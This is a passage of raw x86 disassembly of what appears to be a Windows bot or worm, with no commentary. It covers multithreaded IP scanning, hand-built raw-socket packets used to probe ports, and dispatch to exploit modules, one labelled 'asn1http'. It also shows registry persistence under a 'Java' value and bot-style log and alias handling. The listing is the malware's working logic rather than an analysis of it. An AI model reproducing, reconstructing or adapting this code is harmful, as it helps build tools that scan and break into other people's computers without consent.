[ebp+var_204] push offset unk_42B360 push eax call sub_416821 push ebx lea eax, [ebp+var_204] push 3 push eax call sub_40105F add esp, 20h mov dword_4386B8, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_438320 push offset sub_4012F8 push ebx push ebx call ds:dword_49532C ; CreateThread mov ecx, dword_4386B8 imul ecx, 234h cmp eax, ebx mov dword_43E934[ecx], eax jz short loc_4039C9 loc_4039B7: ; CODE XREF: sub_403661+366j cmp dword_4386CC, ebx jnz short loc_4039E4 push 32h call ds:dword_495324 ; Sleep jmp short loc_4039B7 ; --------------------------------------------------------------------------- loc_4039C9: ; CODE XREF: sub_403661+354j call ds:dword_495328 ; RtlGetLastWin32Error push eax push offset unk_42B318 loc_4039D5: ; CODE XREF: sub_403661+26Cj lea eax, [ebp+var_204] push eax call sub_416821 add esp, 0Ch loc_4039E4: ; CODE XREF: sub_403661+250j ; sub_403661+35Cj lea eax, [ebp+var_204] push eax call sub_401014 pop ecx loc_4039F1: ; CODE XREF: sub_403661+14j ; sub_403661+35j ... pop esi pop ebx leave retn sub_403661 endp ; --------------------------------------------------------------------------- db 0E5h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403ADA proc near ; CODE XREF: sub_4012DAj arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] push esi push 4 lea esi, ds:4370C0h[eax*8] lea eax, [ebp+arg_0] push esi push eax call sub_415960 add esp, 0Ch push [ebp+arg_0] call dword_491590 ; htonl inc eax push eax mov [ebp+arg_0], eax call dword_491658 ; htonl mov [ebp+arg_0], eax lea eax, [ebp+arg_0] push 4 push eax push esi call sub_415960 mov eax, [esi] add esp, 0Ch pop esi pop ebp retn sub_403ADA endp ; --------------------------------------------------------------------------- db 12h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403B34 proc near ; CODE XREF: sub_401023j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi or esi, 0FFFFFFFFh push [ebp+arg_0] mov [ebp+var_C], esi mov [ebp+var_8], esi mov [ebp+var_4], esi mov [ebp+var_10], esi call sub_4158E0 cmp eax, 0Fh pop ecx jbe short loc_403B5C xor eax, eax jmp short loc_403BCD ; --------------------------------------------------------------------------- loc_403B5C: ; CODE XREF: sub_403B34+22j lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_C] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push [ebp+arg_0] call sub_416B36 add esp, 18h cmp [ebp+var_C], esi jnz short loc_403B89 call sub_416B18 mov [ebp+var_C], eax loc_403B89: ; CODE XREF: sub_403B34+4Bj cmp [ebp+var_8], esi jnz short loc_403B96 call sub_416B18 mov [ebp+var_8], eax loc_403B96: ; CODE XREF: sub_403B34+58j cmp [ebp+var_4], esi jnz short loc_403BA3 call sub_416B18 mov [ebp+var_4], eax loc_403BA3: ; CODE XREF: sub_403B34+65j mov eax, [ebp+var_10] cmp eax, esi jnz short loc_403BAF call sub_416B18 loc_403BAF: ; CODE XREF: sub_403B34+74j shl eax, 8 add eax, [ebp+var_4] mov ecx, [ebp+var_C] shl eax, 8 add eax, [ebp+var_8] shl eax, 8 add eax, ecx mov ecx, [ebp+arg_4] mov dword_4370C0[ecx*8], eax loc_403BCD: ; CODE XREF: sub_403B34+26j pop esi leave retn sub_403B34 endp ; --------------------------------------------------------------------------- db 27h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403BF7 proc near ; CODE XREF: sub_4012A8j var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 120h push ebx push esi push edi push 1 pop edi xor ebx, ebx push ebx push edi push 2 mov [ebp+var_4], edi call dword_4916DC ; socket mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_403C20 xor eax, eax jmp short loc_403C8F ; --------------------------------------------------------------------------- loc_403C20: ; CODE XREF: sub_403BF7+23j mov eax, [ebp+arg_0] push [ebp+arg_4] mov [ebp+var_1C], 2 mov [ebp+var_18], eax call dword_49165C ; htons mov [ebp+var_1A], ax lea eax, [ebp+var_4] push eax push 8004667Eh push esi call dword_4916F8 ; ioctlsocket lea eax, [ebp+var_1C] push 10h push eax push esi call dword_491604 ; connect mov eax, [ebp+arg_8] mov [ebp+var_8], ebx mov [ebp+var_C], eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_120] push ebx push eax push ebx push ebx mov [ebp+var_11C], esi mov [ebp+var_120], edi call dword_491644 ; select push esi mov edi, eax call dword_4916F4 ; closesocket xor eax, eax cmp edi, ebx setnle al loc_403C8F: ; CODE XREF: sub_403BF7+27j pop edi pop esi pop ebx leave retn sub_403BF7 endp ; --------------------------------------------------------------------------- db 27h dup(0CCh) ; --------------------------------------------------------------------------- loc_403CBB: ; CODE XREF: .text:0040100Aj push ebp mov ebp, esp mov eax, 10110h call sub_416880 push ebx push esi push edi mov edi, 2649h push edi call dword_49165C ; htons push dword ptr [ebp+10h] mov [ebp-28h], ax call dword_49165C ; htons mov [ebp-26h], ax call sub_416B18 xor ebx, ebx push 200h mov [ebp-24h], eax mov [ebp-20h], ebx mov [ebp-1Ch], bx mov [ebp-0Ch], bx mov word ptr [ebp-1Ah], 5 mov [ebp-18h], bx mov word ptr [ebp-16h], 1 mov [ebp-14h], bx mov [ebp-12h], bx mov [ebp-10h], bx mov [ebp-0Eh], bx call dword_49165C ; htons mov esi, [ebp+0Ch] mov [ebp-0Ah], ax mov eax, [ebp+8] push 24h mov [ebp-8], bx mov [ebp-6], bx mov [ebp-58h], eax mov [ebp-54h], esi mov [ebp-50h], bl mov byte ptr [ebp-4Fh], 6 call dword_49165C ; htons mov [ebp-4Eh], ax lea eax, [ebp-28h] push 24h push eax lea eax, [ebp-4Ch] push eax call sub_415960 lea eax, [ebp-58h] push 20h push eax call sub_40120D mov [ebp-8], ax push 10h lea eax, [ebp-38h] push ebx push eax call sub_415CA0 add esp, 20h mov word ptr [ebp-38h], 2 push dword ptr [ebp+10h] call dword_49165C ; htons push 6 push 3 push 2 mov [ebp-36h], ax mov [ebp-34h], esi mov dword ptr [ebp-4], 10h call dword_4916DC ; socket mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_403DBA push offset aSocketOpenFail ; "socket open failed" jmp loc_403E7B ; --------------------------------------------------------------------------- loc_403DBA: ; CODE XREF: .text:00403DAEj push dword ptr [ebp-4] lea eax, [ebp-38h] push eax push ebx lea eax, [ebp-28h] push 24h push eax push esi call dword_4916C0 ; sendto cmp eax, 14h mov [ebp+10h], eax jz short loc_403E03 call dword_4915F0 ; WSAGetLastError push eax lea eax, [ebp-0D8h] push dword ptr [ebp+10h] push offset aSendtoSocketFa ; "sendto() socket failed. sent = %d <%d>."... push eax call sub_416821 lea eax, [ebp-0D8h] push eax call sub_401014 add esp, 14h jmp short loc_403E4C ; --------------------------------------------------------------------------- loc_403E03: ; CODE XREF: .text:00403DD5j push 10038h lea eax, [ebp-10110h] push ebx push eax call sub_415CA0 add esp, 0Ch loc_403E18: ; CODE XREF: .text:00403E3Fj cmp [ebp-100FAh], di jz short loc_403E55 lea eax, [ebp-4] push eax lea eax, [ebp-38h] push eax push ebx lea eax, [ebp-10110h] push 10038h push eax push esi call dword_491634 ; recvfrom test eax, eax jge short loc_403E18 push offset aRecvfromSocket ; "recvfrom() socket failed" call sub_401014 pop ecx loc_403E4C: ; CODE XREF: .text:00403E01j push esi call dword_4916F4 ; closesocket jmp short loc_403E81 ; --------------------------------------------------------------------------- loc_403E55: ; CODE XREF: .text:00403E1Fj push esi call dword_4916F4 ; closesocket cmp word ptr [ebp-100EAh], 1 jnz short loc_403E76 push offset aSocketOpen_ ; "Socket open." call sub_401014 pop ecx push 1 pop eax jmp short loc_403E83 ; --------------------------------------------------------------------------- loc_403E76: ; CODE XREF: .text:00403E64j push offset aSocketClosed_ ; "Socket closed." loc_403E7B: ; CODE XREF: .text:00403DB5j call sub_401014 pop ecx loc_403E81: ; CODE XREF: .text:00403E53j xor eax, eax loc_403E83: ; CODE XREF: .text:00403E74j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- db 73h dup(0CCh) ; --------------------------------------------------------------------------- loc_403EFB: ; CODE XREF: sub_4012D5j push ebp mov ebp, esp sub esp, 28Ch mov eax, [ebp+8] push ebx push esi push edi push 53h mov esi, eax pop ecx lea edi, [ebp-150h] rep movsd mov esi, [ebp-2Ch] mov dword ptr [eax+148h], 1 mov eax, [ebp-28h] mov [ebp-4], esi mov [ebp+8], eax call ds:dword_495340 ; GetTickCount push eax call sub_416B0E mov ebx, esi pop ecx imul ebx, 234h loc_403F42: ; CODE XREF: .text:004040FBj mov eax, dword_43E924[ebx] cmp dword_4370C4[eax*8], 0 jz loc_404100 cmp dword ptr [ebp-10h], 0 push eax jz short loc_403F6C lea eax, [ebp-150h] push eax call sub_401023 pop ecx jmp short loc_403F71 ; --------------------------------------------------------------------------- loc_403F6C: ; CODE XREF: .text:00403F5Bj call sub_4012DA loc_403F71: ; CODE XREF: .text:00403F6Aj pop ecx mov edi, eax push dword ptr [ebp+8] push dword_43E924[ebx] push dword ptr [ebp-3Ch] push edi call dword_4916E8 ; inet_ntoa push eax lea eax, [ebp-28Ch] push offset dword_42B5C4 push eax call sub_416821 lea eax, [ebp-28Ch] push eax lea eax, dword_43E720[ebx] push eax call sub_416821 push dword ptr [ebp-38h] push dword ptr [ebp-3Ch] push edi call sub_4012A8 add esp, 2Ch cmp eax, 1 jnz loc_4040F0 cmp dword ptr [ebp-20h], 0FFFFFFFFh jnz short loc_404045 push offset dword_438060 call ds:dword_49533C ; RtlEnterCriticalSection push dword ptr [ebp-3Ch] push edi call dword_4916E8 ; inet_ntoa push eax lea eax, [ebp-28Ch] push offset dword_42B58C push eax call sub_416821 add esp, 10h cmp dword ptr [ebp-14h], 0 jnz short loc_404027 cmp byte ptr [ebp-0C0h], 0 push 1 push dword ptr [ebp-18h] lea eax, [ebp-28Ch] push eax lea eax, [ebp-0C0h] jnz short loc_40401B lea eax, [ebp-140h] loc_40401B: ; CODE XREF: .text:00404013j push eax push dword ptr [ebp-40h] call sub_4010D2 add esp, 14h loc_404027: ; CODE XREF: .text:00403FF8j lea eax, [ebp-28Ch] push eax call sub_401014 mov dword ptr [esp], offset dword_438060 call ds:dword_495338 ; RtlLeaveCriticalSection jmp loc_4040F0 ; --------------------------------------------------------------------------- loc_404045: ; CODE XREF: .text:00403FC8j push edi call dword_4916E8 ; inet_ntoa push eax lea eax, [ebp-208h] push eax call sub_416821 mov eax, [ebp-20h] imul eax, 3Ch add eax, offset aAsn1http_0 ; "asn1http" push eax lea eax, [ebp-178h] push eax call sub_416821 add esp, 10h cmp byte ptr [ebp-0C0h], 0 lea eax, [ebp-0C0h] jnz short loc_404089 lea eax, [ebp-140h] loc_404089: ; CODE XREF: .text:00404081j push eax lea eax, [ebp-1F8h] push eax call sub_416821 mov eax, [ebp-40h] pop ecx mov [ebp-20Ch], eax mov eax, [ebp-18h] mov [ebp-15Ch], eax mov eax, [ebp-14h] mov [ebp-158h], eax mov eax, [ebp-3Ch] mov [ebp-16Ch], eax mov eax, [ebp-20h] pop ecx mov [ebp-164h], eax imul eax, 3Ch sub esp, 0BCh mov [ebp-168h], esi lea esi, [ebp-20Ch] push 2Fh pop ecx mov edi, esp rep movsd call off_42AF2C[eax] mov esi, [ebp-4] add esp, 0BCh loc_4040F0: ; CODE XREF: .text:00403FBEj ; .text:00404040j push 7D0h call ds:dword_495324 ; Sleep jmp loc_403F42 ; --------------------------------------------------------------------------- loc_404100: ; CODE XREF: .text:00403F50j push esi call sub_4012A3 pop ecx push 0 call ds:dword_495334 ; ExitThread ; --------------------------------------------------------------------------- db 85h dup(0CCh) ; --------------------------------------------------------------------------- loc_404194: ; CODE XREF: .text:loc_401366j push ebp mov ebp, esp sub esp, 1CCh mov eax, [ebp+8] push ebx push esi push edi push 53h mov esi, eax pop ecx lea edi, [ebp-14Ch] push 1 pop ebx rep movsd mov [eax+144h], ebx lea eax, [ebp-14Ch] push eax call dword_49169C ; inet_addr mov ecx, [ebp-2Ch] sub esp, 14Ch lea esi, [ebp-14Ch] push 53h mov dword_4370C0[ecx*8], eax pop ecx mov edi, esp rep movsd call sub_40123A push 8 call sub_4010E6 add esp, 150h cmp eax, ebx jnz short loc_404262 mov esi, offset dword_438060 push esi call ds:dword_495348 ; RtlDeleteCriticalSection push 80000400h push esi call ds:dword_495344 ; InitializeCriticalSectionAndSpinCount test eax, eax jnz short loc_404262 lea eax, [ebp-1CCh] push offset dword_42B708 push eax call sub_416821 xor ebx, ebx pop ecx cmp [ebp-10h], ebx pop ecx jnz short loc_40424C push ebx lea eax, [ebp-1CCh] push dword ptr [ebp-14h] push eax lea eax, [ebp-13Ch] push eax push dword ptr [ebp-3Ch] call sub_4010D2 add esp, 14h loc_40424C: ; CODE XREF: .text:0040422Dj lea eax, [ebp-1CCh] push eax call sub_401014 pop ecx pop edi pop esi xor eax, eax pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_404262: ; CODE XREF: .text:004041F7j ; .text:00404213j mov eax, [ebp-2Ch] mov esi, ds:dword_495324 mov edi, ebx mov dword_4370C4[eax*8], ebx xor ebx, ebx cmp dword ptr [ebp-20h], 1 jb loc_40432F loc_404280: ; CODE XREF: .text:00404329j push edi lea eax, [ebp-14Ch] push dword ptr [ebp-2Ch] mov [ebp-24h], edi push dword ptr [ebp-38h] push eax lea eax, [ebp-1CCh] push offset dword_42B6BC push eax call sub_416821 push ebx lea eax, [ebp-1CCh] push 8 push eax call sub_40105F mov [ebp-28h], eax imul eax, 234h mov ecx, [ebp-2Ch] add esp, 24h mov dword_43E924[eax], ecx lea eax, [ebp-14Ch] push ebx push ebx push eax push offset sub_4012D5 push ebx push ebx call ds:dword_49532C ; CreateThread mov ecx, [ebp-28h] imul ecx, 234h cmp eax, ebx mov dword_43E934[ecx], eax jz short loc_4042FA loc_4042EF: ; CODE XREF: .text:004042F8j cmp [ebp-4], ebx jnz short loc_404321 push 1Eh call esi ; Sleep jmp short loc_4042EF ; --------------------------------------------------------------------------- loc_4042FA: ; CODE XREF: .text:004042EDj call ds:dword_495328 ; RtlGetLastWin32Error push eax lea eax, [ebp-1CCh] push offset dword_42B66C push eax call sub_416821 lea eax, [ebp-1CCh] push eax call sub_401014 add esp, 10h loc_404321: ; CODE XREF: .text:004042F2j push 1Eh call esi ; Sleep inc edi cmp edi, [ebp-20h] jbe loc_404280 loc_40432F: ; CODE XREF: .text:0040427Aj cmp [ebp-30h], ebx jz loc_4043D9 mov eax, [ebp-30h] imul eax, 0EA60h push eax call esi ; Sleep loc_404344: ; CODE XREF: .text:004043E4j push dword ptr [ebp-30h] mov eax, [ebp-2Ch] push dword ptr [ebp-38h] mov eax, dword_4370C0[eax*8] push eax call dword_4916E8 ; inet_ntoa push eax lea eax, [ebp-1CCh] push offset dword_42B614 push eax call sub_416821 add esp, 14h cmp [ebp-10h], ebx jnz short loc_404392 push ebx lea eax, [ebp-1CCh] push dword ptr [ebp-14h] push eax lea eax, [ebp-13Ch] push eax push dword ptr [ebp-3Ch] call sub_4010D2 add esp, 14h loc_404392: ; CODE XREF: .text:00404373j lea eax, [ebp-1CCh] push eax call sub_401014 mov eax, [ebp-2Ch] mov dword ptr [esp], 0BB8h mov dword_4370C4[eax*8], ebx call esi ; Sleep push 8 call sub_4010E6 cmp eax, 1 pop ecx jnz short loc_4043C9 push offset dword_438060 call ds:dword_495348 ; RtlDeleteCriticalSection loc_4043C9: ; CODE XREF: .text:004043BCj push dword ptr [ebp-2Ch] call sub_4012A3 pop ecx push ebx call ds:dword_495334 ; ExitThread loc_4043D9: ; CODE XREF: .text:00404332j ; .text:004043F1j mov eax, [ebp-2Ch] cmp dword_4370C4[eax*8], 1 jnz loc_404344 push 7D0h call esi ; Sleep jmp short loc_4043D9 ; --------------------------------------------------------------------------- db 97h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40448A proc near ; CODE XREF: sub_401037j var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push esi push edi mov esi, offset dword_43DBA0 mov edi, 0B8h loc_40449E: ; CODE XREF: sub_40448A+33j cmp byte ptr [esi], 0 jz short loc_4044C1 push [ebp+arg_0] push esi call sub_416B70 pop ecx test eax, eax pop ecx jz short loc_4044C1 inc [ebp+var_4] add esi, edi cmp esi, offset dword_43E720 jl short loc_40449E jmp short loc_404503 ; --------------------------------------------------------------------------- loc_4044C1: ; CODE XREF: sub_40448A+17j ; sub_40448A+26j mov esi, [ebp+var_4] push ebx imul esi, 0B8h push edi push 0 lea ebx, dword_43DBA0[esi] push ebx call sub_415CA0 push 17h push [ebp+arg_0] push ebx call sub_416A10 push 9Fh lea eax, dword_43DBB8[esi] push [ebp+arg_4] push eax call sub_416A10 add esp, 24h inc dword_42CCB0 pop ebx loc_404503: ; CODE XREF: sub_40448A+35j mov eax, [ebp+var_4] pop edi pop esi leave retn sub_40448A endp ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40452A proc near ; CODE XREF: sub_401028j var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push esi push edi push 0 push [ebp+arg_8] push offset aAliasList ; "-[Alias List]-" push [ebp+arg_4] push [ebp+arg_0] call sub_4010D2 add esp, 14h xor edi, edi mov esi, offset dword_43DBA0 loc_404554: ; CODE XREF: sub_40452A+72j cmp byte ptr [esi], 0 jz short loc_40458F lea eax, [esi+18h] push eax push esi push edi push offset aD_SS ; "%d. %s = %s" lea eax, [ebp+var_200] push 200h push eax call sub_4163D7 push 1 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4010D2 add esp, 2Ch loc_40458F: ; CODE XREF: sub_40452A+2Dj add esi, 0B8h inc edi cmp esi, offset dword_43E720 jl short loc_404554 pop edi pop esi leave retn sub_40452A endp ; --------------------------------------------------------------------------- db 1Eh dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4045C0 proc near ; CODE XREF: sub_401014j var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h push ebx push esi lea eax, [ebp+var_10] push edi push eax call ds:dword_49534C ; GetLocalTime mov ebx, offset dword_43CE6C mov edi, 80h mov esi, offset dword_438E6C loc_4045E2: ; CODE XREF: sub_4045C0+3Dj cmp byte ptr [ebx], 0 jz short loc_4045F9 push 7Fh lea eax, [ebx+80h] push ebx push eax call sub_416A10 add esp, 0Ch loc_4045F9: ; CODE XREF: sub_4045C0+25j sub ebx, edi cmp ebx, esi jge short loc_4045E2 movzx eax, [ebp+var_4] push [ebp+arg_0] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_10] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s" push edi push esi call sub_4163D7 add esp, 28h pop edi pop esi pop ebx leave retn sub_4045C0 endp ; --------------------------------------------------------------------------- db 1Dh dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404651 proc near ; CODE XREF: sub_4012B2j var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 80h lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_80] push [ebp+arg_0] push 80h push eax call sub_416BF4 lea eax, [ebp+var_80] push eax call sub_401014 add esp, 14h leave retn sub_404651 endp ; --------------------------------------------------------------------------- db 0Bh dup(0CCh) ; --------------------------------------------------------------------------- loc_404688: ; CODE XREF: .text:00401104j push ebp mov ebp, esp push ecx push ecx push ebx xor ebx, ebx cmp [ebp+14h], ebx push esi mov dword ptr [ebp-8], 80h mov [ebp-4], ebx jnz short loc_4046B7 push ebx push dword ptr [ebp+10h] push offset aLogs ; "-[Logs]-" push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_4010D2 add esp, 14h loc_4046B7: ; CODE XREF: .text:0040469Ej cmp [ebp+18h], ebx jz short loc_4046CF push dword ptr [ebp+18h] call sub_416CCF cmp eax, ebx pop ecx mov [ebp-4], eax jz short loc_4046CF mov [ebp-8], eax loc_4046CF: ; CODE XREF: .text:004046BAj ; .text:004046CAj mov [ebp+14h], ebx mov esi, offset dword_438E6C loc_4046D7: ; CODE XREF: .text:0040471Fj mov eax, [ebp+14h] cmp eax, [ebp-8] jge short loc_404721 cmp [esi], bl jz short loc_404710 cmp [ebp+18h], ebx jz short loc_4046FC cmp [ebp-4], ebx jnz short loc_4046FC push dword ptr [ebp+18h] push esi call sub_40121C pop ecx test eax, eax pop ecx jz short loc_404710 loc_4046FC: ; CODE XREF: .text:004046E6j ; .text:004046EBj push 1 push dword ptr [ebp+10h] push esi push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_4010D2 add esp, 14h loc_404710: ; CODE XREF: .text:004046E1j ; .text:004046FAj inc dword ptr [ebp+14h] add esi, 80h cmp esi, offset dword_43CE6C jl short loc_4046D7 loc_404721: ; CODE XREF: .text:004046DDj pop esi pop ebx leave retn ; --------------------------------------------------------------------------- db 27h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40474C proc near ; CODE XREF: sub_4010AFj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, offset dword_438E6C xor ecx, ecx loc_404753: ; CODE XREF: sub_40474C+13j mov [eax], cl add eax, 80h cmp eax, offset dword_43CE6C jl short loc_404753 cmp [esp+arg_C], ecx push esi mov esi, offset aLogsCleared_ ; "[LOGS]: Cleared." jnz short loc_404783 push ecx push [esp+8+arg_8] push esi push [esp+10h+arg_4] push [esp+14h+arg_0] call sub_4010D2 add esp, 14h loc_404783: ; CODE XREF: sub_40474C+1Fj push esi call sub_401014 pop ecx pop esi retn sub_40474C endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_40479C: ; CODE XREF: .text:00401361j push esi mov esi, offset dword_438E6C loc_4047A2: ; CODE XREF: .text:004047C3j cmp byte ptr [esi], 0 jz short loc_4047B7 push dword ptr [esp+8] push esi call sub_40121C pop ecx test eax, eax pop ecx jnz short loc_4047C9 loc_4047B7: ; CODE XREF: .text:004047A5j add esi, 80h cmp esi, offset dword_43CE6C jl short loc_4047A2 xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_4047C9: ; CODE XREF: .text:004047B5j push 1 pop eax pop esi retn ; --------------------------------------------------------------------------- db 0Ch dup(0CCh) ; --------------------------------------------------------------------------- loc_4047DA: ; CODE XREF: .text:loc_40114Aj push ebp mov ebp, esp sub esp, 31Ch mov eax, [ebp+8] push esi push edi push 45h pop ecx mov esi, eax lea edi, [ebp-11Ch] push 1 rep movsd xor edx, edx pop edi cmp [ebp-10h], edx mov dword ptr [ebp-8], 80h mov [ebp-4], edx mov [eax+110h], edi jnz short loc_40482D push edx lea eax, [ebp-118h] push dword ptr [ebp-14h] push offset dword_42B7E8 push eax push dword ptr [ebp-11Ch] call sub_4010D2 add esp, 14h loc_40482D: ; CODE XREF: .text:0040480Dj cmp byte ptr [ebp-98h], 0 jz short loc_40484D lea eax, [ebp-98h] push eax call sub_416CCF test eax, eax pop ecx mov [ebp-4], eax jz short loc_40484D mov [ebp-8], eax loc_40484D: ; CODE XREF: .text:00404834j ; .text:00404848j and dword ptr [ebp+8], 0 mov esi, offset dword_438E6C loc_404856: ; CODE XREF: .text:004048AEj mov eax, [ebp+8] cmp eax, [ebp-8] jge short loc_4048B0 cmp byte ptr [esi], 0 jz short loc_40489F cmp byte ptr [ebp-98h], 0 jz short loc_404885 cmp dword ptr [ebp-4], 0 jnz short loc_404885 lea eax, [ebp-98h] push eax push esi call sub_40121C pop ecx test eax, eax pop ecx jz short loc_40489F loc_404885: ; CODE XREF: .text:0040486Aj ; .text:00404870j push edi lea eax, [ebp-118h] push dword ptr [ebp-14h] push esi push eax push dword ptr [ebp-11Ch] call sub_4010D2 add esp, 14h loc_40489F: ; CODE XREF: .text:00404861j ; .text:00404883j inc dword ptr [ebp+8] add esi, 80h cmp esi, offset dword_43CE6C jl short loc_404856 loc_4048B0: ; CODE XREF: .text:0040485Cj lea eax, [ebp-31Ch] push offset dword_42B7BC push eax call sub_416821 xor esi, esi pop ecx cmp [ebp-10h], esi pop ecx jnz short loc_4048EA push esi lea eax, [ebp-31Ch] push dword ptr [ebp-14h] push eax lea eax, [ebp-118h] push eax push dword ptr [ebp-11Ch] call sub_4010D2 add esp, 14h loc_4048EA: ; CODE XREF: .text:004048C8j lea eax, [ebp-31Ch] push eax call sub_401014 push dword ptr [ebp-18h] call sub_4012A3 pop ecx pop ecx push esi call ds:dword_495334 ; ExitThread pop edi pop esi ; --------------------------------------------------------------------------- db 4Bh dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404954 proc near ; CODE XREF: sub_4012FDj var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, offset dword_42B810 xor esi, esi mov ebx, offset aJava ; "Java" loc_404967: ; CODE XREF: sub_404954+69j lea eax, [ebp+var_4] push esi push eax push esi push 0F003Fh push esi push esi push esi push dword ptr [edi+4] push dword ptr [edi] call dword_491610 ; RegCreateKeyExA cmp [ebp+arg_0], esi jz short loc_4049A1 push [ebp+arg_0] call sub_4158E0 pop ecx push eax push [ebp+arg_0] push 1 push esi push ebx push [ebp+var_4] call dword_491680 ; RegSetValueExA jmp short loc_4049AB ; --------------------------------------------------------------------------- loc_4049A1: ; CODE XREF: sub_404954+2Fj push ebx push [ebp+var_4] call dword_4915C8 ; RegDeleteValueA loc_4049AB: ; CODE XREF: sub_404954+4Bj push [ebp+var_4] call dword_491638 ; RegCloseKey add edi, 8 cmp edi, offset dword_42B828 jl short loc_404967 pop edi pop esi pop ebx leave retn sub_404954 endp ; --------------------------------------------------------------------------- db 1Ch dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4049E0 proc near ; CODE XREF: sub_401019j ; sub_4049E0+16j arg_0 = dword ptr 4 push [esp+arg_0] call sub_4012FD pop ecx push dword_42B808 call ds:dword_495324 ; Sleep jmp short sub_4049E0 sub_4049E0 endp ; --------------------------------------------------------------------------- db 6 dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4049FE proc near ; CODE XREF: sub_4011F9j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov edx, [esp+arg_0] push esi or esi, 0FFFFFFFFh test eax, eax jz short loc_404A33 push ebx push edi lea edi, [eax] mov ecx, 0FFh loc_404A17: ; CODE XREF: sub_4049FE+31j mov al, [edx] mov ebx, esi and eax, ecx and ebx, ecx xor eax, ebx shr esi, 8 mov eax, ds:dword_427098[eax*4] xor esi, eax inc edx dec edi jnz short loc_404A17 pop edi pop ebx loc_404A33: ; CODE XREF: sub_4049FE+Ej mov eax, esi pop esi not eax retn sub_4049FE endp ; --------------------------------------------------------------------------- db 0Eh dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_404A47 proc near ; CODE XREF: sub_4012B7j var_10 = dword ptr -10h arg_0 = dword ptr 4 push ebx push esi xor ebx, ebx push edi push ebx call sub_415CF8 mov [esp+10h+var_10], offset dword_42B830 push [esp+10h+arg_0] mov esi, eax call sub_417012 mov edi, eax pop ecx test edi, edi pop ecx jz short loc_404A96 loc_404A6C: ; CODE XREF: sub_404A47+4Dj test byte ptr [edi+0Ch], 10h jnz short loc_404A9A inc ebx push ebx push esi call sub_416ED2 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_404A96 push edi push 1 lea eax, [esi+ebx-1] push 1 push eax call sub_416DEA add esp, 10h jmp short loc_404A6C ; --------------------------------------------------------------------------- loc_404A96: ; CODE XREF: sub_404A47+23j ; sub_404A47+39j xor eax, eax jmp short loc_404AB5 ; --------------------------------------------------------------------------- loc_404A9A: ; CODE XREF: sub_404A47+29j dec ebx push ebx push esi call sub_4011F9 push esi mov ebx, eax call sub_415D6C push edi call sub_416D94 add esp, 10h mov eax, ebx loc_404AB5: ; CODE XREF: sub_404A47+51j pop edi pop esi pop ebx retn sub_404A47 endp ; --------------------------------------------------------------------------- db 1Ch dup(0CCh) ; --------------------------------------------------------------------------- loc_404AD5: ; CODE XREF: .text:0040106Ej push ebp mov ebp, esp sub esp, 240h push ebx push esi lea eax, [ebp-34h] push edi xor ebx, ebx push eax xor edi, edi mov byte ptr [ebp-34h], 0Ah mov byte ptr [ebp-33h], 0Eh mov byte ptr [ebp-32h], 20h mov byte ptr [ebp-31h], 48h mov byte ptr [ebp-30h], 0Bh mov byte ptr [ebp-2Fh], 2Bh mov byte ptr 